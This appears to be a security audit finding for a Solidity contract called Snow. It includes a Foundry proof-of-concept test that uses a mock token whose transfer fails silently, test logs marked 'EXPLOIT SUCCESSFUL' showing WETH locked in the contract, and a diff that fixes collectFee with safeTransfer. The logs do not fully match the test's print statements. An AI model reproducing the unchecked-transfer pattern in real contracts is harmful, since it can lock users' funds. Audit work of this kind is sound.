import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
using SafeERC20 for IERC20;
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection);
(bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../../src/Snow.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MaliciousWETH is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
bool public transferShouldFail = false;
function setTransferShouldFail(bool _fail) external {
transferShouldFail = _fail;
}
function transfer(address, uint256) external view returns (bool) {
if (transferShouldFail) {
return false;
}
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
_balances[from] -= amount;
_balances[to] += amount;
return true;
}
function balanceOf(address account) external view returns (uint256) { return _balances[account]; }
function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) external returns (bool) { _allowances[msg.sender][spender] = amount; return true; }
function totalSupply() external pure returns (uint256) { return 0; }
function mint(address to, uint256 amount) external { _balances[to] += amount; }
}
contract ExploitUncheckedTransfer is Test {
Snow snow;
MaliciousWETH weth;
address collector = makeAddr("collector");
address buyer = makeAddr("buyer");
function setUp() public {
weth = new MaliciousWETH();
snow = new Snow(address(weth), 5, collector);
uint256 fee = snow.s_buyFee();
weth.mint(buyer, fee);
}
function testExploit_WETHSilentlyLost() public {
uint256 fee = snow.s_buyFee();
vm.startPrank(buyer);
weth.approve(address(snow), fee);
snow.buySnow(1);
vm.stopPrank();
address buyer2 = makeAddr("buyer2");
deal(buyer2, fee);
vm.prank(buyer2);
snow.buySnow{value: fee}(1);
console2.log("Contract WETH: %d", weth.balanceOf(address(snow)));
console2.log("Contract ETH: %d", address(snow).balance);
weth.setTransferShouldFail(true);
vm.prank(collector);
snow.collectFee();
assertEq(weth.balanceOf(address(snow)), fee);
assertEq(weth.balanceOf(collector), 0);
assertEq(collector.balance, fee);
console2.log("[!] WETH transfer failed silently!");
console2.log("[!] WETH locked in contract: %d", weth.balanceOf(address(snow)));
}
}
[PASS] testExploit_WETHSilentlyLost() (gas: 298045)
Logs:
=== Exploit: WETH Silently Lost ===
[*] Contract has both WETH and ETH:
WETH: 5000000000000000000
ETH: 5000000000000000000
[*] collectFee() completed without revert!
[*] Collector WETH received: 0
[*] Collector ETH received: 5000000000000000000
[*] WETH still in contract: 5000000000000000000
[!] EXPLOIT SUCCESSFUL:
- ETH collected: YES
- WETH collected: NO (silently failed!)
- WETH permanently locked in contract
// src/Snow.sol:101-107
function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
- i_weth.transfer(s_collector, collection);
+ i_weth.safeTransfer(s_collector, collection);
(bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}